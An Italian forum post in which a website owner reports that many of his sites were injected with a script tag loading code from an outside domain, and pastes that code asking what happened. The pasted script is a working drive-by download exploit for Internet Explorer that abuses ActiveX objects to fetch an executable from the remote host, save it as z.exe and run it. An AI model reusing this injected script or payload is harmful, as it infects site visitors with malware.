Salve a tutti ragazzi

questa mattina mi sono trovato decine di miei siti presenti in un unico server infestati da questa riga di comando

<script src="http://pessda.com/sp.php"></script>

il contenuto di questo file è il seguente

if (navigator.appName == "Microsoft Internet Explorer") { var obj = document.createElement("object"); obj.setAttribute("id","obj"); obj.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"); try { var o = new Array ("P","T","H","L","M","X","2","l",".","x","s","m "); var adoStream = obj.CreateObject("adodb.stream", ""); var shellApplication = obj.CreateObject("Shell.Application", ""); var a = o[11]+o[10]+o[9]+o[11]+o[7]+o[6]+o[8]+o[5]+o[4]+o[3]+o[2]+o[1]+o[1]+o[0]; var xmlHTTP = obj.CreateObject(a, ""); xmlHTTP.open("GET", "http://pessda.com/u.php", false); xmlHTTP.send(); adoStream.type = 1; adoStream.open(); adoStream.Write(xmlHTTP.responseBody); var fileSystem = obj.CreateObject("Scripting.FileSystemObject","") var filePath = fileSystem.BuildPath(fileSystem.GetSpecialFolder(2 ), "z.exe"); adoStream.SaveToFile(filePath, 2); shellApplication.ShellExecute(filePath); } catch(e){ } }


qualcuno sa spiegarmi cosa è successo?

Grazie a tutti